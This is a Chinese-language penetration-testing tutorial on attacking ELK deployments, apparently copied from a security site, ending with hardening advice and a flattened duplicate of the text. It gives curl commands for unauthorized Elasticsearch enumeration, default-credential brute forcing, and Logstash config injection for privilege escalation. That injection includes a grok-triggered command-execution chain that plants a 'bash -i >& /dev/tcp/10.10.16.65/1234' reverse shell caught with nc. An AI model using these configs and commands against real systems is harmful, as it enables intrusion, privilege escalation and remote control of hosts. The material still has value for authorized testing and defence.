ELK在渗透测试中的利用与安全配置解析
字数 1745 2025-08-05 12:50:18

ELK在渗透测试中的利用与安全配置解析

1. ELK简介

ELK是三个开源项目的集合:

  • Elasticsearch:存储数据并提供快速搜索引擎
  • Kibana:图形界面,用于分析和可视化Elasticsearch中存储的数据
  • Logstash:从不同来源收集数据并保存到Elasticsearch中

2. 重要配置文件

组件 配置文件路径
Elasticsearch /etc/elasticsearch/elasticsearch.yml
Logstash /etc/logstash/logstash.yml
/etc/logstash/pipelines.yml
/etc/logstash/conf.d/*
Filebeat /etc/filebeat/filebeat.yml
Kibana /etc/kibana/kibana.yml

注意:这些配置文件中可能包含用户凭证,在渗透测试中值得重点关注。

3. Elasticsearch未授权访问检测与利用

3.1 检测方法

  1. 默认开放9200端口,通过HTTP协议访问:

    curl -X GET "localhost:9200/"
    

    如果返回内容中包含"You Know, for Search",则可能存在未授权访问。

  2. 检查身份验证状态:

    curl -X GET "localhost:9200/_xpack/security/user"
    
    • 如果返回用户列表,则身份验证被禁用
    • 如果返回错误信息,则身份验证已启用

3.2 利用方法

3.2.1 未授权访问情况

  1. 获取版本信息:

    curl -X GET "localhost:9200/"
    
  2. 常用API查询:

    curl 'localhost:9200/_cat/indices?v'  # 列出所有索引
    curl 'localhost:9200/_plugin/head/'   # 访问head插件
    curl 'localhost:9200/_cat/nodes?v'   # 获取集群节点列表
    curl 'localhost:9200/_nodes?prettify' # 节点设置
    curl 'localhost:9200/_status'         # 查看状态
    curl 'localhost:9200/_search?pretty' # 查询所有索引(默认前10条)
    curl 'localhost:9200/zjftu/_search?pretty' # 查询特定索引
    

3.2.2 启用身份验证情况

  1. 尝试暴力破解内置用户(默认密码):

    • elastic (超级用户,旧版本默认密码changeme)
    • logstash_system
    • kibana_system
    • apm_system
    • beats_system
    • remote_monitoring_user
  2. 尝试匿名访问(用户名可能是_anonymous)

  3. 使用API密钥:

    curl -H "Authorization: ApiKey" localhost:9200/
    
  4. 获取用户权限信息:

    curl -X GET "localhost:9200/_security/user/<USERNAME>"
    curl -X GET "localhost:9200/_security/user"  # 列出所有用户
    curl -X GET "localhost:9200/_security/role"  # 列出所有角色
    

4. Kibana渗透测试

  • Kibana默认运行在5601端口
  • Elasticsearch中的用户权限与Kibana相同
  • 如果Elasticsearch禁用身份验证,Kibana也可能无需凭据访问
  • 检查配置文件/etc/kibana/kibana.yml可能发现凭证

5. Logstash渗透测试与安全配置

5.1 配置文件

  • 主配置文件:/etc/logstash/pipelines.yml
  • 示例配置:
    - pipeline.id: main
      path.config: "/etc/logstash/conf.d/*.conf"
    - pipeline.id: example
      path.config: "/usr/share/logstash/pipeline/1*.conf"
      pipeline.workers: 6
    

5.2 权限提升利用

方法一:直接执行命令

前提条件

  1. 对.conf文件有写权限,或能修改/etc/logstash/pipelines.yml
  2. 能重启logstash服务,或配置了config.reload.automatic: true

利用方式
在配置文件中添加:

input {
  exec {
    command => "whoami"
    interval => 120
  }
}
output {
  file {
    path => "/tmp/output.log"
    codec => rubydebug
  }
}

如果配置了config.reload.automatic: true,修改会自动生效;否则需要重启服务。

方法二:通过grok解析执行命令

  1. 修改配置文件:

filter.conf:

filter {
  if [type] == "execute" {
    grok {
      match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
    }
  }
}

input.conf:

input {
  file {
    path => "/opt/kibana/logstash_*"
    start_position => "beginning"
    sincedb_path => "/dev/null"
    stat_interval => "10 second"
    type => "execute"
    mode => "read"
  }
}

output.conf:

output {
  if [ type ] == "execute" {
    stdout { codec => json }
    exec { command => "%{comando} &" }
  }
}
  1. 创建触发文件:
echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.65/1234 0>&1" > /opt/kibana/logstash_1.txt
  1. 使用nc监听端口1234等待反向shell连接

5.3 Grok语法说明

基本格式:%{SYNTAX:SEMANTIC}%{正则:自定义字段名}

官方正则参考:https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns

调试工具:http://grokdebug.herokuapp.com

6. 安全配置建议

  1. Elasticsearch

    • 启用身份验证
    • 修改默认端口9200
    • 限制网络访问
    • 更改默认凭证
  2. Kibana

    • 配置身份验证
    • 检查kibana.yml中的敏感信息
    • 限制访问IP
  3. Logstash

    • 严格控制配置文件权限
    • 禁用自动重载配置(config.reload.automatic: false)
    • 限制能修改配置的用户
  4. 通用建议

    • 定期更新ELK组件
    • 监控日志文件
    • 实施最小权限原则
ELK在渗透测试中的利用与安全配置解析 1. ELK简介 ELK是三个开源项目的集合: Elasticsearch :存储数据并提供快速搜索引擎 Kibana :图形界面,用于分析和可视化Elasticsearch中存储的数据 Logstash :从不同来源收集数据并保存到Elasticsearch中 2. 重要配置文件 | 组件 | 配置文件路径 | |------|--------------| | Elasticsearch | /etc/elasticsearch/elasticsearch.yml | | Logstash | /etc/logstash/logstash.yml /etc/logstash/pipelines.yml /etc/logstash/conf.d/* | | Filebeat | /etc/filebeat/filebeat.yml | | Kibana | /etc/kibana/kibana.yml | 注意 :这些配置文件中可能包含用户凭证,在渗透测试中值得重点关注。 3. Elasticsearch未授权访问检测与利用 3.1 检测方法 默认开放9200端口,通过HTTP协议访问: 如果返回内容中包含 "You Know, for Search" ,则可能存在未授权访问。 检查身份验证状态: 如果返回用户列表,则身份验证被禁用 如果返回错误信息,则身份验证已启用 3.2 利用方法 3.2.1 未授权访问情况 获取版本信息: 常用API查询: 3.2.2 启用身份验证情况 尝试暴力破解内置用户(默认密码): elastic (超级用户,旧版本默认密码changeme) logstash_ system kibana_ system apm_ system beats_ system remote_ monitoring_ user 尝试匿名访问(用户名可能是_ anonymous) 使用API密钥: 获取用户权限信息: 4. Kibana渗透测试 Kibana默认运行在5601端口 Elasticsearch中的用户权限与Kibana相同 如果Elasticsearch禁用身份验证,Kibana也可能无需凭据访问 检查配置文件 /etc/kibana/kibana.yml 可能发现凭证 5. Logstash渗透测试与安全配置 5.1 配置文件 主配置文件: /etc/logstash/pipelines.yml 示例配置: 5.2 权限提升利用 方法一:直接执行命令 前提条件 : 对.conf文件有写权限,或能修改 /etc/logstash/pipelines.yml 能重启logstash服务,或配置了 config.reload.automatic: true 利用方式 : 在配置文件中添加: 如果配置了 config.reload.automatic: true ,修改会自动生效;否则需要重启服务。 方法二:通过grok解析执行命令 修改配置文件: filter.conf : input.conf : output.conf : 创建触发文件: 使用nc监听端口1234等待反向shell连接 5.3 Grok语法说明 基本格式: %{SYNTAX:SEMANTIC} 即 %{正则:自定义字段名} 官方正则参考:https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns 调试工具:http://grokdebug.herokuapp.com 6. 安全配置建议 Elasticsearch : 启用身份验证 修改默认端口9200 限制网络访问 更改默认凭证 Kibana : 配置身份验证 检查 kibana.yml 中的敏感信息 限制访问IP Logstash : 严格控制配置文件权限 禁用自动重载配置( config.reload.automatic: false ) 限制能修改配置的用户 通用建议 : 定期更新ELK组件 监控日志文件 实施最小权限原则